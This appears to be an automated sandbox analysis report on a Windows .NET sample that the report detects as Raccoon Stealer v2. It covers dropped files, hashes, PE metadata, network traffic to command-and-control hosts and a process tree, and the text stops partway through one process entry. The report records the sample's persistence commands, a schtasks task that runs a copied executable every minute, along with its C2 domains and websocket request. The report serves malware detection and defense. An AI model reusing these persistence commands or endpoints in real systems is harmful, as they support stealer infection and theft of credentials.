File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	5.155286976455086
Encrypted:	false
SSDEEP:	96:YjHFiKaoggCtJzTlKXb0tbo68qD853Ns7GgmkNq3m+s:JbogRtJzTlNR8qD85uGgmkNr
MD5:	EC0504E6B8A11D5AAD43B296BEEB84B2
SHA1:	91B5CE085130C8C7194D66B2439EC9E1C206497C
SHA-256:	5D9CEB1CE5F35AEA5F9E5A0C0EDEEEC04DFEFE0C77890C80C70E98209B58B962
SHA-512:	3F918F1B47E8A919CBE51EB17DC30ACC8CFC18E743A1BAE5B787D0DB7D26038DC1210BE98BF5BA3BE8D6ED896DBBD7AC3D13E66454A98B2A38C7E69DAD30BB57
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,..................Rich...........PE..L....~.\...........!......................... ...............................P............@..........................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..L.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wns22DB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	7109767
Entropy (8bit):	7.999706559392961
Encrypted:	true
SSDEEP:	196608:k3A6TxJ7AyeFxfzIiWgT3Rk4t/3y+UFGRouLGNHx:iAGWxvWgT3Rk4t/x2GRk
MD5:	2BEB8722EA464A6FFB7AE6DC1FE00EF7
SHA1:	CA8A6DB7929B6DECD8280BD8CC1A4651FE286F20
SHA-256:	B7004F11735037125DC9DE7EE91CFFAE47AFE53641773A205F7E4300773519A4
SHA-512:	503D18F03B1A25CAF1109C3A99AB8E876DFE939E1534AB5F2A4B663BDD4BF62F99E960B640313CFEC469ECEC1C3CCADDFD11BDFA55C7B85431DCF5862BA5075E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...y..\.................f.......@...4............@.......................... ............@.............................................`............................................................................................................text....d.......f.................. ..`.rdata...............j..............@..@.data...Xc...........~..............@....ndata...................................rsrc...`...........................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\cmd32.exe

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21082624
Entropy (8bit):	7.999846142951512
Encrypted:	true
SSDEEP:	393216:DX/jor0w17nb++l8qsyb6qPrxjS6/y+lRb0vQSMGxuBZMfJsA9eslHOJ:rsr0S7nb9l8EnrdPpl10vQSlRfJ5fO
MD5:	035A4F79912DD1710C6A24324DDDBB0B
SHA1:	DBD4C4612A7FB75A8AE23294072E398ED47552FD
SHA-256:	417EA3585515662A88109B63A6EF89EF4EA592C35C0774F4D605D736254D1B12
SHA-512:	EAA889E7CAD566CC990442F8070DE7551A4D843BD62DEE0EFDC5DF8762A19DF0065D8FBFC7E1F3FA200803F717D296577A53B17FAC7BF718558F9E9B5E9EF620
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[..c.................\|A..4.......A.. ....A...@.. ........................B...........@...................................A.J.....A..1....................A...................................................... ............... ..H............text....zA.. ...\|A................. ..`.rsrc....1....A..2...~A.............@..@.reloc........A.......A.............@..B.................A.....H.......8...0X..........h...4.@..........................................0...........+.+..+..+..0..V........,.~....+'+(,.~....+&.+&.,..-.+$,. ....+.+#z.,..+.(....+..+.(....+..+.(^...+.sK...+........(L...N+.-.+.&.+.(....+.....0..........+.+.+.+.*s....+..+..+.o....+.....0..........~....~......8.... (...8....8....8....8....~.... -...8.... ....8....8....8.... ....(^...(....(....&.......... ....(^... ....(^...(.......~....(....... ....(^.......... ....(^....~.....(....(...

C:\Users\user\AppData\Roaming\cmd32.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Logs\waasmedic\waasmedic.20220912_171757_809.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	2.7425168537824893
Encrypted:	false
SSDEEP:	48:m1qr52I5PGIb7kUD9b7kEXpb7kllb7kqnb7kbIl9lOb7k0tpl0b7kLzb7k1b7kwK:X2IAI0Ux0C070A0U9E0Cl00Lz010t09O
MD5:	1A547AD192B410FF0EE5AD3427150E6A
SHA1:	D942FC3CA73E05B67A7D68F37B924C5B8534DD2E
SHA-256:	4BD4A4035CB0600A66DC443A594328EC72A8A43E11088D0F3872FDB3455EC930
SHA-512:	F43509E053AC0E908CD6CCE722BF21BB92A64ED25F546A939C733B03F2FEE01C7B33DA14D790E939A0E6B65A74CCF2844C8A12D47914B4B549E6956846975541
Malicious:	false
Preview:	....................................................!.....................................]......................B........3.....Zb....... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.................................................................... .......c.............E.C.C.B.1.7.5.F.-.1.E.B.2.-.4.3.D.A.-.B.F.B.5.-.A.8.D.5.8.A.4.0.A.4.D.7...C.:.\.W.i.n.d.o.w.s.\.l.o.g.s.\.w.a.a.s.m.e.d.i.c.\.w.a.a.s.m.e.d.i.c...2.0.2.2.0.9.1.2._.1.7.1.7.5.7._.8.0.9...e.t.l.............P.P...........].................................................................9.B...].....17134.1.amd64fre.rs4_release.180410-1804............5.@...].....OYo."(.s..O........WaaSMedicSvc.pdb............................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	9062
Entropy (8bit):	3.169211212120735
Encrypted:	false
SSDEEP:	192:cY+38+DJ5+inJg3+igJU+LY+XY+ntn+E5L+M/9+S4:j+s+j+j3+12+0+I+9+C+a+x
MD5:	080570BAF1FBADDE71DADEAF4D220296
SHA1:	9EB9601CD252519E5C9752931FCA0CE30B32BED5
SHA-256:	344B915E4BBFD797FB4A05082B1A2CDAE3111379EF3070242DAC8F413F372BEE
SHA-512:	59B939AB1BEA4E352758649D8CCA08BD09E516AFB9A514C499D85438D93CD52E77D2C5C7A187CFC05188DD5A7227DBD2F3A9418217F892A763C776F141FADFDB
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.999846142951512
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	z5i6tLOUD0.exe
File size:	21082624
MD5:	035a4f79912dd1710c6a24324dddbb0b
SHA1:	dbd4c4612a7fb75a8ae23294072e398ed47552fd
SHA256:	417ea3585515662a88109b63a6ef89ef4ea592c35c0774f4d605d736254d1b12
SHA512:	eaa889e7cad566cc990442f8070de7551a4d843bd62dee0efdc5df8762a19df0065d8fbfc7e1f3fa200803f717d296577a53b17fac7bf718558f9e9b5e9ef620
SSDEEP:	393216:DX/jor0w17nb++l8qsyb6qPrxjS6/y+lRb0vQSMGxuBZMfJsA9eslHOJ:rsr0S7nb9l8EnrdPpl10vQSlRfJ5fO
TLSH:	D8273332724541CFD4C60B75B783A7058B01EACADAA703EB52D33DB8C96E6231785D9B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[..c.................\|A..4........A.. ....A...@.. ........................B...........@................................

File Icon


Icon Hash:	6863eee6b292c6ee

Static PE Info

General

Entrypoint:	0x1819ae6
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x63181D5B [Wed Sep 7 04:26:03 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1419a9c	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x141a000	0x31cf	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x141e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1417aec	0x1417c00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x141a000	0x31cf	0x3200	False	0.38265625	data	5.066148726368563	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x141e000	0xc	0x200	False	0.044921875	data	0.12227588125913882	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x141a094	0x128	GLS_BINARY_LSB_FIRST
RT_ICON	0x141a1e0	0x568	GLS_BINARY_LSB_FIRST
RT_ICON	0x141a76c	0x2e8	data
RT_ICON	0x141aa78	0x8a8	data
RT_ICON	0x141b344	0x668	dBase IV DBT of `.DBF, block length 1536, next free block index 40, next free block 224, next used block 65281
RT_ICON	0x141b9d0	0xea8	data
RT_GROUP_ICON	0x141c8c6	0x5a	data
RT_VERSION	0x141c95c	0x450	data
RT_MANIFEST	0x141cde8	0x3e7	XML 1.0 document, UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 12, 2022 10:18:55.285281897 CEST	49753	6101	192.168.2.6	142.93.96.73
Sep 12, 2022 10:18:55.315242052 CEST	6101	49753	142.93.96.73	192.168.2.6
Sep 12, 2022 10:18:55.315522909 CEST	49753	6101	192.168.2.6	142.93.96.73
Sep 12, 2022 10:18:55.336391926 CEST	49753	6101	192.168.2.6	142.93.96.73
Sep 12, 2022 10:18:55.368609905 CEST	6101	49753	142.93.96.73	192.168.2.6
Sep 12, 2022 10:18:55.369607925 CEST	6101	49753	142.93.96.73	192.168.2.6
Sep 12, 2022 10:18:55.379672050 CEST	49753	6101	192.168.2.6	142.93.96.73
Sep 12, 2022 10:18:55.409533978 CEST	6101	49753	142.93.96.73	192.168.2.6
Sep 12, 2022 10:18:56.181855917 CEST	49755	443	192.168.2.6	188.114.96.3
Sep 12, 2022 10:18:56.181899071 CEST	443	49755	188.114.96.3	192.168.2.6
Sep 12, 2022 10:18:56.182039022 CEST	49755	443	192.168.2.6	188.114.96.3
Sep 12, 2022 10:18:56.183450937 CEST	49755	443	192.168.2.6	188.114.96.3
Sep 12, 2022 10:18:56.183501959 CEST	443	49755	188.114.96.3	192.168.2.6
Sep 12, 2022 10:18:56.229691982 CEST	443	49755	188.114.96.3	192.168.2.6
Sep 12, 2022 10:18:56.246450901 CEST	49755	443	192.168.2.6	188.114.96.3
Sep 12, 2022 10:18:56.246478081 CEST	443	49755	188.114.96.3	192.168.2.6
Sep 12, 2022 10:18:56.247910023 CEST	443	49755	188.114.96.3	192.168.2.6
Sep 12, 2022 10:18:56.248023987 CEST	49755	443	192.168.2.6	188.114.96.3
Sep 12, 2022 10:18:56.251986027 CEST	49755	443	192.168.2.6	188.114.96.3
Sep 12, 2022 10:18:56.252255917 CEST	443	49755	188.114.96.3	192.168.2.6
Sep 12, 2022 10:18:56.252438068 CEST	49755	443	192.168.2.6	188.114.96.3
Sep 12, 2022 10:19:26.061028004 CEST	6101	49753	142.93.96.73	192.168.2.6
Sep 12, 2022 10:19:26.198405027 CEST	49753	6101	192.168.2.6	142.93.96.73
Sep 12, 2022 10:19:26.779997110 CEST	49753	6101	192.168.2.6	142.93.96.73
Sep 12, 2022 10:19:26.809763908 CEST	6101	49753	142.93.96.73	192.168.2.6
Sep 12, 2022 10:19:55.368666887 CEST	6101	49753	142.93.96.73	192.168.2.6
Sep 12, 2022 10:19:55.588829041 CEST	49753	6101	192.168.2.6	142.93.96.73
Sep 12, 2022 10:19:58.065274954 CEST	6101	49753	142.93.96.73	192.168.2.6
Sep 12, 2022 10:19:58.198371887 CEST	49753	6101	192.168.2.6	142.93.96.73
Sep 12, 2022 10:20:14.072887897 CEST	6101	49753	142.93.96.73	192.168.2.6
Sep 12, 2022 10:20:14.074223995 CEST	49753	6101	192.168.2.6	142.93.96.73
Sep 12, 2022 10:20:26.134918928 CEST	49753	6101	192.168.2.6	142.93.96.73

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 12, 2022 10:18:55.218049049 CEST	55629	53	192.168.2.6	8.8.8.8
Sep 12, 2022 10:18:55.240998030 CEST	53	55629	8.8.8.8	192.168.2.6
Sep 12, 2022 10:18:56.157918930 CEST	56569	53	192.168.2.6	8.8.8.8
Sep 12, 2022 10:18:56.178602934 CEST	53	56569	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 12, 2022 10:18:55.218049049 CEST	192.168.2.6	8.8.8.8	0xd134	Standard query (0)	register.starhome.io	A (IP address)	IN (0x0001)
Sep 12, 2022 10:18:56.157918930 CEST	192.168.2.6	8.8.8.8	0x13a8	Standard query (0)	files.starhome.io	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Sep 12, 2022 10:18:55.240998030 CEST	8.8.8.8	192.168.2.6	0xd134	No error (0)	register.starhome.io	142.93.96.73	A (IP address)	IN (0x0001)
Sep 12, 2022 10:18:56.178602934 CEST	8.8.8.8	192.168.2.6	0x13a8	No error (0)	files.starhome.io	188.114.96.3	A (IP address)	IN (0x0001)
Sep 12, 2022 10:18:56.178602934 CEST	8.8.8.8	192.168.2.6	0x13a8	No error (0)	files.starhome.io	188.114.97.3	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49753	142.93.96.73	6101	C:\Program Files (x86)\WindowsNetService\node.exe

Timestamp	kBytes transferred	Direction	Data
Sep 12, 2022 10:18:55.336391926 CEST	5226	OUT	GET /strvn HTTP/1.1 Sec-WebSocket-Version: 13 Sec-WebSocket-Key: 6vBj9xxRPKmrnN/oh+G2pw== Connection: Upgrade Upgrade: websocket Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits Host: register.starhome.io:6101
Sep 12, 2022 10:18:55.369607925 CEST	5227	IN	HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: NRD1WUQ5shRZNE2iK4X13Cmzj1s= uWebSockets: 20

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: z5i6tLOUD0.exePID: 4928, Parent PID: 5564

General

Target ID:	0
Start time:	10:17:38
Start date:	12/09/2022
Path:	C:\Users\user\Desktop\z5i6tLOUD0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\z5i6tLOUD0.exe"
Imagebase:	0x5f0000
File size:	21082624 bytes
MD5 hash:	035A4F79912DD1710C6A24324DDDBB0B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000002.315220700.0000000003E31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 2224, Parent PID: 4928

General

Target ID:	1
Start time:	10:17:43
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafdfnasia" /tr "'C:\Users\user\AppData\Roaming\cmd32.exe'" /f
Imagebase:	0x1b0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 3520, Parent PID: 2224

General

Target ID:	2
Start time:	10:17:43
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5368, Parent PID: 4928

General

Target ID:	3
Start time:	10:17:43
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd" /c copy "C:\Users\user\Desktop\z5i6tLOUD0.exe" "C:\Users\user\AppData\Roaming\cmd32.exe
Imagebase:	0x1b0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 5128, Parent PID: 2224

General

Target ID:	4
Start time:	10:17:44
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /sc minute /mo 1 /tn "Nafdfnasia" /tr "'C:\Users\user\AppData\Roaming\cmd32.exe'" /f
Imagebase:	0xdd0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 3148, Parent PID: 5368

General

Target ID:	6
Start time:	10:17:44
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: vbc.exePID: 3244, Parent PID: 4928

General

Target ID:	7
Start time:	10:17:46
Start date:	12/09/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Imagebase:	0x40000
File size:	2688096 bytes
MD5 hash:	B3A917344F5610BEEC562556F11300FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 3448, Parent PID: 576

General

Target ID:	8
Start time:	10:17:46
Start date:	12/09/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 3804, Parent PID: 576

General

Target ID:	9
Start time:	10:17:48
Start date:	12/09/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: SgrmBroker.exePID: 5600, Parent PID: 576

General

Target ID:	10
Start time:	10:17:48
Start date:	12/09/2022
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff6089f0000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 2356, Parent PID: 576

General

Target ID:	12
Start time:	10:17:49
Start date:	12/09/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 5356, Parent PID: 3244

General

Target ID:	13
Start time:	10:17:50
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3244 -s 168
Imagebase:	0xb80000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WingFtpServer.exePID: 6120, Parent PID: 4928

General

Target ID:	14
Start time:	10:17:56
Start date:	12/09/2022
Path:	C:\Users\user\AppData\Local\Temp\WingFtpServer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\WingFtpServer.exe"
Imagebase:	0x400000
File size:	20958709 bytes
MD5 hash:	CF0D1C650627BF796FDC7775FDECB2E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 3076, Parent PID: 576

General

Target ID:	15
Start time:	10:17:56
Start date:	12/09/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5336, Parent PID: 576

General

Target ID:	16
Start time:	10:17:57
Start date:	12/09/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 4756, Parent PID: 576

General

Target ID:	17
